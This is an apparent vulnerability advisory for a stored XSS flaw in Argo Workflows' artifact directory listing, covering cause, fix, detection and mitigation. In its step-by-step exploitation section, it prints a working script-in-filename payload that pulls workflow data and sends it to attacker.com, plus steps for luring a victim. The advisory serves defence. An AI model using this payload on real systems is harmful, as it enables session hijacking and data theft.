CVE-2026-23960: 
Wolfi vulnerability analysis and mitigation

CVE-2026-23960 is a stored Cross-Site Scripting (XSS) vulnerability in Argo Workflows' artifact directory listing feature that allows any workflow author to execute arbitrary JavaScript in another user's browser under the Argo Server origin. The vulnerability affects Argo Workflows versions prior to 3.6.17 and versions 3.7.0 through 3.7.7. It was published on January 21, 2026, with patches released on the same day. The CVSS v3.1 base score is 5.4 (Medium), while the CVSS v4.0 base score is 7.3 (High) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). In server/artifacts/artifact_server.go (lines 194–244), the directory listing handler renders object names directly into HTML using fmt.Fprintf without any HTML escaping. Object names are sourced from driver.ListObjects() and are fully attacker-controlled when a workflow writes files into an output artifact directory — for example, a file named xss"><script>...</script>.html becomes an unescaped hyperlink in the rendered HTML page. The fix replaces the unsafe fmt.Fprintf calls with Go's html/template package for proper contextual escaping, and adds strict Content Security Policy (sandbox; base-uri 'none'; default-src 'none') and X-Frame-Options: SAMEORIGIN headers as defense-in-depth (GitHub Advisory, Fix Commit).

When a victim opens a crafted deep-link to a malicious artifact directory listing, the embedded script executes in their browser under the Argo Server origin with the victim's authenticated session. This allows the attacker to read sensitive workflow information, create unauthorized workflows, or delete existing workflows — all using the victim's API privileges. The scope is changed (affecting resources beyond the vulnerable component), and confidentiality and integrity of workflow data are both impacted, though availability is not directly affected (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrating the full attack chain including workflow YAML and artifact naming. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.05%, reflecting low current exploitation probability. Exploitation requires low privileges (the ability to create workflows) and user interaction (the victim must open the artifact link), but no special configuration is needed (GitHub Advisory).

1. Gain workflow creation access: Obtain low-privileged credentials to an Argo Workflows instance (e.g., a standard user account or service account with workflow creation rights).
2. Craft a malicious workflow: Create a workflow YAML that runs a container producing an output artifact directory containing a file with an XSS payload in its name, such as touch '/tmp/artifacts/xss"><script>fetch("https://argo-server/api/v1/workflows/argo").then(r=>r.json()).then(d=>fetch("https://attacker.com/"+JSON.stringify(d)))</script>.html'.
3. Submit the workflow: Deploy the workflow to the target Argo namespace: kubectl -n argo create -f /tmp/argo-xss.yaml and wait for it to complete.
4. Obtain the artifact deep-link: Retrieve the workflow node ID and construct the artifact directory URL: https://<argo-server>/artifact-files/<namespace>/workflows/<wf-name>/<node-id>/outputs/<artifact-name>/.
5. Deliver the link to the victim: Send the deep-link to a privileged user (e.g., via email or chat), social-engineering them into clicking it.
6. Script executes as victim: When the victim opens the link, the browser renders the unescaped HTML directory listing, the injected script runs under the Argo Server origin, and XHR calls to the Argo Server API are made with the victim's session token — enabling read, create, or delete operations on workflows (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains immediately after accessing an Argo artifact directory URL; unusual XHR calls to the Argo Server API (/api/v1/workflows/) originating from artifact-viewing sessions.
• Logs: Argo Server access logs showing requests to /artifact-files/*/workflows/*/outputs/*/ paths where the directory listing response contains HTML-special characters (<, >, ") in file names; workflow creation or deletion events in the audit log not initiated by the expected user.
• File System / Artifact Storage: Artifact directories in object storage (S3, GCS, etc.) containing files with names including HTML tags, <script>, javascript:, or other XSS payloads.
• Workflow Activity: Unexpected workflows created or deleted under a victim user's identity, particularly shortly after that user accessed an artifact directory listing (GitHub Advisory).

Upgrade Argo Workflows to version 3.6.17 or later (for the 3.6.x branch) or 3.7.8 or later (for the 3.7.x branch), which replace unsafe HTML rendering with Go's html/template package and add strict CSP headers (v3.6.17 Release, GitHub Advisory). As a short-term workaround prior to patching, restrict access to artifact directory listing endpoints and educate users not to open artifact deep-links from untrusted sources. Additionally, monitor Argo Server API logs for anomalous workflow creation or deletion activity, and consider restricting workflow creation permissions to trusted users only.

The vulnerability was reported by security researcher Masamuneee and published via the GitHub Security Advisory program on January 21, 2026. The fix was authored by Mason Malone and merged as PR #15255. Coverage appeared on security aggregation sites including infinitsec.net and was tracked by ENISA (EUVD-2026-3596) and Red Hat. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database syndication (GitHub Advisory).